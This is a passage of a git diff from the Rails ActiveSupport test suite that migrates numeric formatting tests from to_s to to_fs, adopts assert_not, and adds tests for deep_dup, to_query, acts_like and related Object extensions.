+    assert_equal "10 KB",    kilobytes(10.000).to_fs(:human_size, precision: 4)
+    assert_equal "1 TB",     1234567890123.to_fs(:human_size, precision: 1)
+    assert_equal "500 MB",   524288000.to_fs(:human_size, precision: 3)
+    assert_equal "10 MB",    9961472.to_fs(:human_size, precision: 0)
+    assert_equal "40 KB",    41010.to_fs(:human_size, precision: 1)
+    assert_equal "40 KB",    41100.to_fs(:human_size, precision: 2)
+    assert_equal "50 KB",    41100.to_fs(:human_size, precision: 1, round_mode: :up)
+    assert_equal "1.0 KB",   kilobytes(1.0123).to_fs(:human_size, precision: 2, strip_insignificant_zeros: false)
+    assert_equal "1.012 KB", kilobytes(1.0123).to_fs(:human_size, precision: 3, significant: false)
+    assert_equal "1 KB",     kilobytes(1.0123).to_fs(:human_size, precision: 0, significant: true) # ignores significant it precision is 0
+  end
+
+  def test_to_fs__human_size_with_custom_delimiter_and_separator
+    assert_equal "1,01 KB",     kilobytes(1.0123).to_fs(:human_size, precision: 3, separator: ",")
+    assert_equal "1,01 KB",     kilobytes(1.0100).to_fs(:human_size, precision: 4, separator: ",")
+    assert_equal "1.000,1 TB",  terabytes(1000.1).to_fs(:human_size, precision: 5, delimiter: ".", separator: ",")
   end
 
   def test_number_to_human
-    assert_equal "-123", -123.to_s(:human)
-    assert_equal "-0.5", -0.5.to_s(:human)
-    assert_equal "0",   0.to_s(:human)
-    assert_equal "0.5", 0.5.to_s(:human)
-    assert_equal "123", 123.to_s(:human)
-    assert_equal "1.23 Thousand", 1234.to_s(:human)
-    assert_equal "12.3 Thousand", 12345.to_s(:human)
-    assert_equal "1.23 Million", 1234567.to_s(:human)
-    assert_equal "1.23 Billion", 1234567890.to_s(:human)
-    assert_equal "1.23 Trillion", 1234567890123.to_s(:human)
-    assert_equal "1.23 Quadrillion", 1234567890123456.to_s(:human)
-    assert_equal "1230 Quadrillion", 1234567890123456789.to_s(:human)
-    assert_equal "490 Thousand", 489939.to_s(:human, precision: 2)
-    assert_equal "489.9 Thousand", 489939.to_s(:human, precision: 4)
-    assert_equal "489 Thousand", 489000.to_s(:human, precision: 4)
-    assert_equal "489.0 Thousand", 489000.to_s(:human, precision: 4, strip_insignificant_zeros: false)
-    assert_equal "1.2346 Million", 1234567.to_s(:human, precision: 4, significant: false)
-    assert_equal "1,2 Million", 1234567.to_s(:human, precision: 1, significant: false, separator: ",")
-    assert_equal "1 Million", 1234567.to_s(:human, precision: 0, significant: true, separator: ",") #significant forced to false
+    assert_equal "-123", -123.to_fs(:human)
+    assert_equal "-123", -123.to_formatted_s(:human)
+    assert_equal "-0.5", -0.5.to_fs(:human)
+    assert_equal "0",   0.to_fs(:human)
+    assert_equal "0.5", 0.5.to_fs(:human)
+    assert_equal "123", 123.to_fs(:human)
+    assert_equal "1.23 Thousand", 1234.to_fs(:human)
+    assert_equal "12.3 Thousand", 12345.to_fs(:human)
+    assert_equal "1.23 Million", 1234567.to_fs(:human)
+    assert_equal "1.23 Billion", 1234567890.to_fs(:human)
+    assert_equal "1.23 Trillion", 1234567890123.to_fs(:human)
+    assert_equal "1.23 Quadrillion", 1234567890123456.to_fs(:human)
+    assert_equal "1230 Quadrillion", 1234567890123456789.to_fs(:human)
+    assert_equal "490 Thousand", 489939.to_fs(:human, precision: 2)
+    assert_equal "489.9 Thousand", 489939.to_fs(:human, precision: 4)
+    assert_equal "489 Thousand", 489000.to_fs(:human, precision: 4)
+    assert_equal "480 Thousand", 489939.to_fs(:human, precision: 2, round_mode: :down)
+    assert_equal "489.0 Thousand", 489000.to_fs(:human, precision: 4, strip_insignificant_zeros: false)
+    assert_equal "1.2346 Million", 1234567.to_fs(:human, precision: 4, significant: false)
+    assert_equal "1,2 Million", 1234567.to_fs(:human, precision: 1, significant: false, separator: ",")
+    assert_equal "1 Million", 1234567.to_fs(:human, precision: 0, significant: true, separator: ",") # significant forced to false
   end
 
   def test_number_to_human_with_custom_units
-    #Only integers
+    # Only integers
     volume = { unit: "ml", thousand: "lt", million: "m3" }
-    assert_equal "123 lt", 123456.to_s(:human, units: volume)
-    assert_equal "12 ml", 12.to_s(:human, units: volume)
-    assert_equal "1.23 m3", 1234567.to_s(:human, units: volume)
+    assert_equal "123 lt", 123456.to_fs(:human, units: volume)
+    assert_equal "12 ml", 12.to_fs(:human, units: volume)
+    assert_equal "1.23 m3", 1234567.to_fs(:human, units: volume)
 
-    #Including fractionals
+    # Including fractionals
     distance = { mili: "mm", centi: "cm", deci: "dm", unit: "m", ten: "dam", hundred: "hm", thousand: "km" }
-    assert_equal "1.23 mm", 0.00123.to_s(:human, units: distance)
-    assert_equal "1.23 cm", 0.0123.to_s(:human, units: distance)
-    assert_equal "1.23 dm", 0.123.to_s(:human, units: distance)
-    assert_equal "1.23 m",  1.23.to_s(:human, units: distance)
-    assert_equal "1.23 dam", 12.3.to_s(:human, units: distance)
-    assert_equal "1.23 hm", 123.to_s(:human, units: distance)
-    assert_equal "1.23 km", 1230.to_s(:human, units: distance)
-    assert_equal "1.23 km", 1230.to_s(:human, units: distance)
-    assert_equal "1.23 km", 1230.to_s(:human, units: distance)
-    assert_equal "12.3 km", 12300.to_s(:human, units: distance)
-
-    #The quantifiers don't need to be a continuous sequence
+    assert_equal "1.23 mm", 0.00123.to_fs(:human, units: distance)
+    assert_equal "1.23 cm", 0.0123.to_fs(:human, units: distance)
+    assert_equal "1.23 dm", 0.123.to_fs(:human, units: distance)
+    assert_equal "1.23 m",  1.23.to_fs(:human, units: distance)
+    assert_equal "1.23 dam", 12.3.to_fs(:human, units: distance)
+    assert_equal "1.23 hm", 123.to_fs(:human, units: distance)
+    assert_equal "1.23 km", 1230.to_fs(:human, units: distance)
+    assert_equal "1.23 km", 1230.to_fs(:human, units: distance)
+    assert_equal "1.23 km", 1230.to_fs(:human, units: distance)
+    assert_equal "12.3 km", 12300.to_fs(:human, units: distance)
+
+    # The quantifiers don't need to be a continuous sequence
     gangster = { hundred: "hundred bucks", million: "thousand quids" }
-    assert_equal "1 hundred bucks", 100.to_s(:human, units: gangster)
-    assert_equal "25 hundred bucks", 2500.to_s(:human, units: gangster)
-    assert_equal "25 thousand quids", 25000000.to_s(:human, units: gangster)
-    assert_equal "12300 thousand quids", 12345000000.to_s(:human, units: gangster)
+    assert_equal "1 hundred bucks", 100.to_fs(:human, units: gangster)
+    assert_equal "25 hundred bucks", 2500.to_fs(:human, units: gangster)
+    assert_equal "25 thousand quids", 25000000.to_fs(:human, units: gangster)
+    assert_equal "12300 thousand quids", 12345000000.to_fs(:human, units: gangster)
 
-    #Spaces are stripped from the resulting string
-    assert_equal "4", 4.to_s(:human, units: { unit: "", ten: "tens " })
-    assert_equal "4.5  tens", 45.to_s(:human, units: { unit: "", ten: " tens   " })
+    # Spaces are stripped from the resulting string
+    assert_equal "4", 4.to_fs(:human, units: { unit: "", ten: "tens " })
+    assert_equal "4.5  tens", 45.to_fs(:human, units: { unit: "", ten: " tens   " })
   end
 
   def test_number_to_human_with_custom_format
-    assert_equal "123 times Thousand", 123456.to_s(:human, format: "%n times %u")
+    assert_equal "123 times Thousand", 123456.to_fs(:human, format: "%n times %u")
     volume = { unit: "ml", thousand: "lt", million: "m3" }
-    assert_equal "123.lt", 123456.to_s(:human, units: volume, format: "%n.%u")
+    assert_equal "123.lt", 123456.to_fs(:human, units: volume, format: "%n.%u")
   end
 
-  def test_to_s__injected_on_proper_types
-    assert_equal "1.23 Thousand", 1230.to_s(:human)
-    assert_equal "1.23 Thousand", Float(1230).to_s(:human)
-    assert_equal "100000 Quadrillion", (100**10).to_s(:human)
-    assert_equal "1 Million", BigDecimal("1000010").to_s(:human)
+  def test_to_fs__injected_on_proper_types
+    assert_equal "1.23 Thousand", 1230.to_fs(:human)
+    assert_equal "1.23 Thousand", Float(1230).to_fs(:human)
+    assert_equal "100000 Quadrillion", (100**10).to_fs(:human)
+    assert_equal "1 Million", BigDecimal("1000010").to_fs(:human)
   end
 
-  def test_to_s_with_invalid_formatter
-    assert_equal "123", 123.to_s(:invalid)
-    assert_equal "2.5", 2.5.to_s(:invalid)
-    assert_equal "100000000000000000000", (100**10).to_s(:invalid)
-    assert_equal "1000010.0", BigDecimal("1000010").to_s(:invalid)
+  def test_to_fs_with_invalid_formatter
+    assert_equal "123", 123.to_fs(:invalid)
+    assert_equal "123", 123.to_formatted_s(:invalid)
+    assert_equal "2.5", 2.5.to_fs(:invalid)
+    assert_equal "100000000000000000000", (100**10).to_fs(:invalid)
+    assert_equal "1000010.0", BigDecimal("1000010").to_fs(:invalid)
   end
 
-  def test_default_to_s
+  def test_default_to_fs
     assert_equal "123", 123.to_s
+    assert_equal "123", 123.to_fs
+    assert_equal "123", 123.to_formatted_s
     assert_equal "1111011", 123.to_s(2)
+    assert_equal "1111011", 123.to_fs(2)
 
     assert_equal "2.5", 2.5.to_s
+    assert_equal "2.5", 2.5.to_fs
 
     assert_equal "100000000000000000000", (100**10).to_s
+    assert_equal "100000000000000000000", (100**10).to_fs
     assert_equal "1010110101111000111010111100010110101100011000100000000000000000000", (100**10).to_s(2)
+    assert_equal "1010110101111000111010111100010110101100011000100000000000000000000", (100**10).to_fs(2)
 
     assert_equal "1000010.0", BigDecimal("1000010").to_s
-    assert_equal "10000 10.0", BigDecimal("1000010").to_s("5F")
+    assert_equal "1000010.0", BigDecimal("1000010").to_fs
+
+    assert_equal "0.10000 1", BigDecimal("0.100001").to_s("5F")
+    assert_equal "0.10000 1", BigDecimal("0.100001").to_fs("5F")
 
     assert_raises TypeError do
       1.to_s({})
     end
-  end
-
-  def test_in_milliseconds
-    assert_equal 10_000, 10.seconds.in_milliseconds
-  end
-
-  # TODO: Remove positive and negative tests when we drop support to ruby < 2.3
-  b = 2**64
-
-  T_ZERO = b.coerce(0).first
-  T_ONE  = b.coerce(1).first
-  T_MONE = b.coerce(-1).first
-
-  def test_positive
-    assert_predicate(1, :positive?)
-    assert_not_predicate(0, :positive?)
-    assert_not_predicate(-1, :positive?)
-    assert_predicate(+1.0, :positive?)
-    assert_not_predicate(+0.0, :positive?)
-    assert_not_predicate(-0.0, :positive?)
-    assert_not_predicate(-1.0, :positive?)
-    assert_predicate(+(0.0.next_float), :positive?)
-    assert_not_predicate(-(0.0.next_float), :positive?)
-    assert_predicate(Float::INFINITY, :positive?)
-    assert_not_predicate(-Float::INFINITY, :positive?)
-    assert_not_predicate(Float::NAN, :positive?)
-
-    a = Class.new(Numeric) do
-      def >(x); true; end
-    end.new
-    assert_predicate(a, :positive?)
-
-    a = Class.new(Numeric) do
-      def >(x); false; end
-    end.new
-    assert_not_predicate(a, :positive?)
-
-    assert_predicate(1 / 2r, :positive?)
-    assert_not_predicate(-1 / 2r, :positive?)
-
-    assert_predicate(T_ONE, :positive?)
-    assert_not_predicate(T_MONE, :positive?)
-    assert_not_predicate(T_ZERO, :positive?)
-
-    e = assert_raises(NoMethodError) do
-      Complex(1).positive?
-    end
-
-    assert_match(/positive\?/, e.message)
-  end
-
-  def test_negative
-    assert_predicate(-1, :negative?)
-    assert_not_predicate(0, :negative?)
-    assert_not_predicate(1, :negative?)
-    assert_predicate(-1.0, :negative?)
-    assert_not_predicate(-0.0, :negative?)
-    assert_not_predicate(+0.0, :negative?)
-    assert_not_predicate(+1.0, :negative?)
-    assert_predicate(-(0.0.next_float), :negative?)
-    assert_not_predicate(+(0.0.next_float), :negative?)
-    assert_predicate(-Float::INFINITY, :negative?)
-    assert_not_predicate(Float::INFINITY, :negative?)
-    assert_not_predicate(Float::NAN, :negative?)
-
-    a = Class.new(Numeric) do
-      def <(x); true; end
-    end.new
-    assert_predicate(a, :negative?)
-
-    a = Class.new(Numeric) do
-      def <(x); false; end
-    end.new
-    assert_not_predicate(a, :negative?)
-
-    assert_predicate(-1 / 2r, :negative?)
-    assert_not_predicate(1 / 2r, :negative?)
-
-    assert_not_predicate(T_ONE, :negative?)
-    assert_predicate(T_MONE, :negative?)
-    assert_not_predicate(T_ZERO, :negative?)
-
-    e = assert_raises(NoMethodError) do
-      Complex(1).negative?
+    assert_raises TypeError do
+      1.to_fs({})
     end
-
-    assert_match(/negative\?/, e.message)
   end
 end
diff --git a/activesupport/test/core_ext/object/acts_like_test.rb b/activesupport/test/core_ext/object/acts_like_test.rb
index 631f4e63a8b55..15d0b3094fabe 100644
--- a/activesupport/test/core_ext/object/acts_like_test.rb
+++ b/activesupport/test/core_ext/object/acts_like_test.rb
@@ -1,5 +1,11 @@
-require "abstract_unit"
-require "active_support/core_ext/object"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/date/acts_like"
+require "active_support/core_ext/string/behavior"
+require "active_support/core_ext/time/acts_like"
+require "active_support/core_ext/date_time/acts_like"
+require "active_support/core_ext/object/acts_like"
 
 class ObjectTests < ActiveSupport::TestCase
   class DuckTime
@@ -8,6 +14,15 @@ def acts_like_time?
     end
   end
 
+  class Stringish < String
+  end
+
+  class DuckString
+    def acts_like_string?
+      true
+    end
+  end
+
   def test_duck_typing
     object = Object.new
     time   = Time.now
@@ -15,19 +30,30 @@ def test_duck_typing
     dt     = DateTime.new
     duck   = DuckTime.new
 
-    assert !object.acts_like?(:time)
-    assert !object.acts_like?(:date)
+    assert_not object.acts_like?(:time)
+    assert_not object.acts_like?(:date)
 
     assert time.acts_like?(:time)
-    assert !time.acts_like?(:date)
+    assert_not time.acts_like?(:date)
 
-    assert !date.acts_like?(:time)
+    assert_not date.acts_like?(:time)
     assert date.acts_like?(:date)
 
     assert dt.acts_like?(:time)
     assert dt.acts_like?(:date)
 
     assert duck.acts_like?(:time)
-    assert !duck.acts_like?(:date)
+    assert_not duck.acts_like?(:date)
+  end
+
+  def test_acts_like_string
+    string = Stringish.new
+    duck_string = DuckString.new
+
+    assert string.acts_like?(:string)
+    assert_not string.acts_like?(:invalid)
+
+    assert duck_string.acts_like?(:string)
+    assert_not duck_string.acts_like?(:invalid)
   end
 end
diff --git a/activesupport/test/core_ext/object/blank_test.rb b/activesupport/test/core_ext/object/blank_test.rb
index 7fd3fed0428ab..4bb3549074b37 100644
--- a/activesupport/test/core_ext/object/blank_test.rb
+++ b/activesupport/test/core_ext/object/blank_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/object/blank"
 
 class BlankTest < ActiveSupport::TestCase
@@ -22,6 +24,13 @@ def test_blank
     NOT.each   { |v| assert_equal false, v.blank?, "#{v.inspect} should not be blank" }
   end
 
+  def test_blank_with_bundled_string_encodings
+    Encoding.list.reject(&:dummy?).each do |encoding|
+      assert_predicate " ".encode(encoding), :blank?
+      assert_not_predicate "a".encode(encoding), :blank?
+    end
+  end
+
   def test_present
     BLANK.each { |v| assert_equal false, v.present?, "#{v.inspect} should not be present" }
     NOT.each   { |v| assert_equal true, v.present?,  "#{v.inspect} should be present" }
diff --git a/activesupport/test/core_ext/object/deep_dup_test.rb b/activesupport/test/core_ext/object/deep_dup_test.rb
index f247ee16deb5c..e2dd9cc6037df 100644
--- a/activesupport/test/core_ext/object/deep_dup_test.rb
+++ b/activesupport/test/core_ext/object/deep_dup_test.rb
@@ -1,5 +1,7 @@
-require "abstract_unit"
-require "active_support/core_ext/object"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/object/deep_dup"
 
 class DeepDupTest < ActiveSupport::TestCase
   def test_array_deep_dup
@@ -45,7 +47,7 @@ def test_object_deep_dup
     object = Object.new
     dup = object.deep_dup
     dup.instance_variable_set(:@a, 1)
-    assert !object.instance_variable_defined?(:@a)
+    assert_not object.instance_variable_defined?(:@a)
     assert dup.instance_variable_defined?(:@a)
   end
 
@@ -54,4 +56,26 @@ def test_deep_dup_with_hash_class_key
     dup = hash.deep_dup
     assert_equal 1, dup.keys.length
   end
+
+  def test_deep_dup_with_mutable_frozen_key
+    key = { array: [] }.freeze
+    hash = { key => :value }
+
+    dup = hash.deep_dup
+    dup.transform_keys { |k| k[:array] << :array_element }
+
+    assert_not_equal hash.keys, dup.keys
+  end
+
+  def test_named_modules_arent_duped
+    hash = { class: Object, module: Kernel }
+    assert_equal hash, hash.deep_dup
+  end
+
+  def test_anonymous_modules_are_duped
+    hash = { class: Class.new, module: Module.new }
+    duped_hash = hash.deep_dup
+    assert_not_equal hash[:class], duped_hash[:class]
+    assert_not_equal hash[:module], duped_hash[:module]
+  end
 end
diff --git a/activesupport/test/core_ext/object/duplicable_test.rb b/activesupport/test/core_ext/object/duplicable_test.rb
index e6f3c8aef2d63..58de295719333 100644
--- a/activesupport/test/core_ext/object/duplicable_test.rb
+++ b/activesupport/test/core_ext/object/duplicable_test.rb
@@ -1,32 +1,31 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "bigdecimal"
 require "active_support/core_ext/object/duplicable"
 require "active_support/core_ext/numeric/time"
 
 class DuplicableTest < ActiveSupport::TestCase
-  if RUBY_VERSION >= "2.4.1"
-    RAISE_DUP = [method(:puts), Complex(1), Rational(1)]
-    ALLOW_DUP = ["1", "symbol_from_string".to_sym, Object.new, /foo/, [], {}, Time.now, Class.new, Module.new, BigDecimal.new("4.56"), nil, false, true, 1, 2.3]
-  elsif RUBY_VERSION >= "2.4.0"  # Due to 2.4.0 bug. This elsif cannot be removed unless we drop 2.4.0 support...
-    RAISE_DUP = [method(:puts), Complex(1), Rational(1), "symbol_from_string".to_sym]
-    ALLOW_DUP = ["1", Object.new, /foo/, [], {}, Time.now, Class.new, Module.new, BigDecimal.new("4.56"), nil, false, true, 1, 2.3]
-  else
-    RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, method(:puts), Complex(1), Rational(1)]
-    ALLOW_DUP = ["1", Object.new, /foo/, [], {}, Time.now, Class.new, Module.new, BigDecimal.new("4.56")]
-  end
+  OBJECTS = [
+     method(:puts), method(:puts).unbind, Class.new.include(Singleton).instance,
+    "1", "symbol_from_string".to_sym, Object.new, /foo/, [], {}, Time.now, Class.new,
+    Module.new, BigDecimal("4.56"), nil, false, true, 1, 2.3, Complex(1), Rational(1),
+  ]
 
-  def test_duplicable
-    rubinius_skip "* Method#dup is allowed at the moment on Rubinius\n" \
-                  "* https://github.com/rubinius/rubinius/issues/3089"
-
-    RAISE_DUP.each do |v|
-      assert !v.duplicable?, "#{ v.inspect } should not be duplicable"
-      assert_raises(TypeError, v.class.name) { v.dup }
-    end
+  OBJECTS.each do |v|
+    test "#{v.class}#duplicable? matches #{v.class}#dup behavior" do
+      duplicable = begin
+        v.dup
+        true
+      rescue TypeError
+        false
+      end
 
-    ALLOW_DUP.each do |v|
-      assert v.duplicable?, "#{ v.class } should be duplicable"
-      assert_nothing_raised { v.dup }
+      if duplicable
+        assert_predicate v, :duplicable?
+      else
+        assert_not_predicate v, :duplicable?
+      end
     end
   end
 end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
index 955686d6aac92..99b9b08e5f295 100644
--- a/activesupport/test/core_ext/object/inclusion_test.rb
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -1,33 +1,40 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/object/inclusion"
 
 class InTest < ActiveSupport::TestCase
   def test_in_array
     assert 1.in?([1, 2])
-    assert !3.in?([1, 2])
+    assert_not 3.in?([1, 2])
   end
 
   def test_in_hash
     h = { "a" => 100, "b" => 200 }
     assert "a".in?(h)
-    assert !"z".in?(h)
+    assert_not "z".in?(h)
   end
 
   def test_in_string
     assert "lo".in?("hello")
-    assert !"ol".in?("hello")
+    assert_not "ol".in?("hello")
     assert ?h.in?("hello")
   end
 
   def test_in_range
     assert 25.in?(1..50)
-    assert !75.in?(1..50)
+    assert_not 75.in?(1..50)
   end
 
   def test_in_set
     s = Set.new([1, 2])
     assert 1.in?(s)
-    assert !3.in?(s)
+    assert_not 3.in?(s)
+  end
+
+  def test_in_date_range
+    assert Date.today.in?(..Date.tomorrow)
+    assert_not Date.today.in?(Date.tomorrow..)
   end
 
   module A
@@ -43,8 +50,8 @@ class D
   def test_in_module
     assert A.in?(B)
     assert A.in?(C)
-    assert !A.in?(A)
-    assert !A.in?(D)
+    assert_not A.in?(A)
+    assert_not A.in?(D)
   end
 
   def test_no_method_catching
diff --git a/activesupport/test/core_ext/object/instance_variables_test.rb b/activesupport/test/core_ext/object/instance_variables_test.rb
index 5bdb2fbc35a10..9c7b97c64bac8 100644
--- a/activesupport/test/core_ext/object/instance_variables_test.rb
+++ b/activesupport/test/core_ext/object/instance_variables_test.rb
@@ -1,5 +1,7 @@
-require "abstract_unit"
-require "active_support/core_ext/object"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/object/instance_variables"
 
 class ObjectInstanceVariableTest < ActiveSupport::TestCase
   def setup
@@ -17,15 +19,15 @@ def test_instance_values
   end
 
   def test_instance_exec_passes_arguments_to_block
-    assert_equal %w(hello goodbye), "hello".instance_exec("goodbye") { |v| [self, v] }
+    assert_equal %w(hello goodbye), (+"hello").instance_exec("goodbye") { |v| [self, v] }
   end
 
   def test_instance_exec_with_frozen_obj
-    assert_equal %w(olleh goodbye), "hello".freeze.instance_exec("goodbye") { |v| [reverse, v] }
+    assert_equal %w(olleh goodbye), "hello".instance_exec("goodbye") { |v| [reverse, v] }
   end
 
   def test_instance_exec_nested
-    assert_equal %w(goodbye olleh bar), "hello".instance_exec("goodbye") { |arg|
+    assert_equal %w(goodbye olleh bar), (+"hello").instance_exec("goodbye") { |arg|
       [arg] + instance_exec("bar") { |v| [reverse, v] } }
   end
 end
diff --git a/activesupport/test/core_ext/object/json_cherry_pick_test.rb b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
index dd4e90918e180..fb5cc4000a239 100644
--- a/activesupport/test/core_ext/object/json_cherry_pick_test.rb
+++ b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
@@ -1,6 +1,8 @@
-require "abstract_unit"
+# frozen_string_literal: true
 
-# These test cases were added to test that cherry-picking the json extensions
+require_relative "../../abstract_unit"
+
+# These test cases were added to test that cherry-picking the JSON extensions
 # works correctly, primarily for dependencies problems reported in #16131. They
 # need to be executed in isolation to reproduce the scenario correctly, because
 # other test cases might have already loaded additional dependencies.
@@ -37,6 +39,6 @@ def test_datetime_as_json
 
   private
     def require_or_skip(file)
-      require(file) || skip("'#{file}' was already loaded")
+      require(file) || force_skip("'#{file}' was already loaded")
     end
 end
diff --git a/activesupport/test/core_ext/object/json_gem_encoding_test.rb b/activesupport/test/core_ext/object/json_gem_encoding_test.rb
index f5016d0c2ae7a..638ec54d99389 100644
--- a/activesupport/test/core_ext/object/json_gem_encoding_test.rb
+++ b/activesupport/test/core_ext/object/json_gem_encoding_test.rb
@@ -1,8 +1,10 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "json"
-require "json/encoding_test_cases"
+require_relative "../../json/encoding_test_cases"
 
-# These test cases were added to test that we do not interfere with json gem's
+# These test cases were added to test that we do not interfere with JSON gem's
 # output when the AS encoder is loaded, primarily for problems reported in
 # #20775. They need to be executed in isolation to reproduce the scenario
 # correctly, because other test cases might have already loaded additional
@@ -20,7 +22,7 @@ class JsonGemEncodingTest < ActiveSupport::TestCase
 
   JSONTest::EncodingTestCases.constants.each_with_index do |name|
     JSONTest::EncodingTestCases.const_get(name).each_with_index do |(subject, _), i|
-      test("#{name[0..-6].underscore} #{i}") do
+      test("#{name[0..-6]} #{i}") do
         assert_same_with_or_without_active_support(subject)
       end
     end
@@ -38,12 +40,12 @@ def to_json(*)
 
   private
     def require_or_skip(file)
-      require(file) || skip("'#{file}' was already loaded")
+      require(file) || force_skip("'#{file}' was already loaded")
     end
 
     def assert_same_with_or_without_active_support(subject)
       begin
-        expected = JSON.generate(subject, quirks_mode: true)
+        expected = JSON.generate(subject)
       rescue JSON::GeneratorError => e
         exception = e
       end
@@ -51,16 +53,11 @@ def assert_same_with_or_without_active_support(subject)
       require_or_skip "active_support/core_ext/object/json"
 
       if exception
-        assert_raises_with_message JSON::GeneratorError, e.message do
-          JSON.generate(subject, quirks_mode: true)
+        assert_raises JSON::GeneratorError, match: e.message do
+          JSON.generate(subject)
         end
       else
-        assert_equal expected, JSON.generate(subject, quirks_mode: true)
+        assert_equal expected, JSON.generate(subject)
       end
     end
-
-    def assert_raises_with_message(exception_class, message, &block)
-      err = assert_raises(exception_class) { block.call }
-      assert_match message, err.message
-    end
 end
diff --git a/activesupport/test/core_ext/object/to_param_test.rb b/activesupport/test/core_ext/object/to_param_test.rb
index 56246b24f3226..2493c25b2a92a 100644
--- a/activesupport/test/core_ext/object/to_param_test.rb
+++ b/activesupport/test/core_ext/object/to_param_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/object/to_param"
 
 class ToParamTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index 298c8bf373d75..e39101598b0dc 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -1,7 +1,9 @@
-require "abstract_unit"
-require "active_support/ordered_hash"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/object/to_query"
 require "active_support/core_ext/string/output_safety"
+require "uri"
 
 class ToQueryTest < ActiveSupport::TestCase
   def test_simple_conversion
@@ -47,7 +49,7 @@ def test_array_values_are_not_sorted
   end
 
   def test_empty_array
-    assert_equal "person%5B%5D=", [].to_query("person")
+    assert_equal "person%5B%5D", [].to_query("person")
   end
 
   def test_nested_empty_hash
@@ -57,7 +59,7 @@ def test_nested_empty_hash
       a: 1, b: { c: 3, d: {} }
     assert_query_equal "",
       a: { b: { c: {} } }
-    assert_query_equal "b%5Bc%5D=false&b%5Be%5D=&b%5Bf%5D=&p=12",
+    assert_query_equal "b%5Bc%5D=false&b%5Be%5D&b%5Bf%5D=&p=12",
       p: 12, b: { c: false, e: nil, f: "" }
     assert_query_equal "b%5Bc%5D=3&b%5Bf%5D=",
       b: { c: 3, k: {}, f: "" }
@@ -75,6 +77,20 @@ def test_hash_sorted_lexicographically
     assert_equal "name=Nakshay&type=human", hash.to_query
   end
 
+  def test_hash_not_sorted_lexicographically_for_nested_structure
+    params = {
+      "foo" => {
+        "contents" => [
+          { "name" => "gorby", "id" => "123" },
+          { "name" => "puff", "d" => "true" }
+        ]
+      }
+    }
+    expected = "foo[contents][][name]=gorby&foo[contents][][id]=123&foo[contents][][name]=puff&foo[contents][][d]=true"
+
+    assert_equal expected, URI.decode_www_form_component(params.to_query)
+  end
+
   private
     def assert_query_equal(expected, actual)
       assert_equal expected.split("&"), actual.to_query.split("&")
diff --git a/activesupport/test/core_ext/object/try_test.rb b/activesupport/test/core_ext/object/try_test.rb
index 5c8bf59952fe8..135acdd4be902 100644
--- a/activesupport/test/core_ext/object/try_test.rb
+++ b/activesupport/test/core_ext/object/try_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/object"
 
 class ObjectTryTest < ActiveSupport::TestCase
@@ -8,25 +10,25 @@ def setup
 
   def test_nonexisting_method
     method = :undefined_method
-    assert !@string.respond_to?(method)
+    assert_not_respond_to @string, method
     assert_nil @string.try(method)
   end
 
   def test_nonexisting_method_with_arguments
     method = :undefined_method
-    assert !@string.respond_to?(method)
+    assert_not_respond_to @string, method
     assert_nil @string.try(method, "llo", "y")
   end
 
   def test_nonexisting_method_bang
     method = :undefined_method
-    assert !@string.respond_to?(method)
+    assert_not_respond_to @string, method
     assert_raise(NoMethodError) { @string.try!(method) }
   end
 
   def test_nonexisting_method_with_arguments_bang
     method = :undefined_method
-    assert !@string.respond_to?(method)
+    assert_not_respond_to @string, method
     assert_raise(NoMethodError) { @string.try!(method, "llo", "y") }
   end
 
@@ -76,7 +78,6 @@ def test_try_with_instance_eval_block_bang
   def test_try_with_private_method_bang
     klass = Class.new do
       private
-
         def private_method
           "private method"
         end
@@ -88,7 +89,6 @@ def private_method
   def test_try_with_private_method
     klass = Class.new do
       private
-
         def private_method
           "private method"
         end
@@ -107,7 +107,6 @@ def reverse
     end
 
     private
-
       def private_delegator_method
         "private delegator method"
       end
@@ -118,11 +117,11 @@ def test_try_with_method_on_delegator
   end
 
   def test_try_with_method_on_delegator_target
-    assert_equal 5, Decorator.new(@string).size
+    assert_equal 5, Decorator.new(@string).try(:size)
   end
 
   def test_try_with_overridden_method_on_delegator
-    assert_equal "overridden reverse", Decorator.new(@string).reverse
+    assert_equal "overridden reverse", Decorator.new(@string).try(:reverse)
   end
 
   def test_try_with_private_method_on_delegator
@@ -138,7 +137,6 @@ def test_try_with_private_method_on_delegator_bang
   def test_try_with_private_method_on_delegator_target
     klass = Class.new do
       private
-
         def private_method
           "private method"
         end
@@ -150,7 +148,6 @@ def private_method
   def test_try_with_private_method_on_delegator_target_bang
     klass = Class.new do
       private
-
         def private_method
           "private method"
         end
diff --git a/activesupport/test/core_ext/object/with_test.rb b/activesupport/test/core_ext/object/with_test.rb
new file mode 100644
index 0000000000000..249cd440867e5
--- /dev/null
+++ b/activesupport/test/core_ext/object/with_test.rb
@@ -0,0 +1,103 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/object/with"
+
+class WithTest < ActiveSupport::TestCase
+  class Record
+    def initialize
+      @public_attr = :public
+      @another_public_attr = :another_public
+      @mixed_attr = :mixed
+      @protected_attr = :protected
